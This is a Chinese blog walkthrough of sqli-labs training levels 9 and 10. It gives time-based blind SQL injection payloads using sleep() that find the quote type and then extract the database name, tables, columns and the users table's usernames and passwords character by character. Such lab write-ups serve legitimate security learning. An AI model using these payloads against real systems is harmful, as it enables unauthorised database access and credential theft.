SQL注入sqli_labs靶场第九、十题

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

相关推荐
Csvn1 小时前
📊 SQL 入门 Day 25:查询优化实战 —— 从 EXPLAIN 到索引的完整排查流
后端·sql
Csvn1 小时前
📊 SQL 入门 Day 24:触发器与事件
后端·sql
今天AI了吗1 小时前
AI Agent 在数据分析领域的落地判断:哪些场景真的需要 Agent
java·数据库·人工智能·python·sql·数据分析·copilot
Csvn1 小时前
📊 SQL 入门 Day 23:存储过程与函数
后端·sql
大方子2 小时前
【PolarCTF】ezjava
网络安全·polarctf
韶博雅2 小时前
开启补充日志
java·开发语言·sql
网安蟹佬霸2 小时前
SSRF服务端请求伪造攻防实战:从内网穿透到云元数据利用
sql·web安全·网络安全·自动化·网安
逸Y 仙X2 小时前
Spark SQL
java·大数据·sql·spark
白猫不黑2 小时前
AI Agent自动化渗透测试实战:从原理到红队实践
运维·人工智能·web安全·网络安全·信息安全·渗透测试·自动化
yours_Gabriel3 小时前
【一】数据库基础:SQL语句、函数、约束、多表查询、事务
数据库·sql·oracle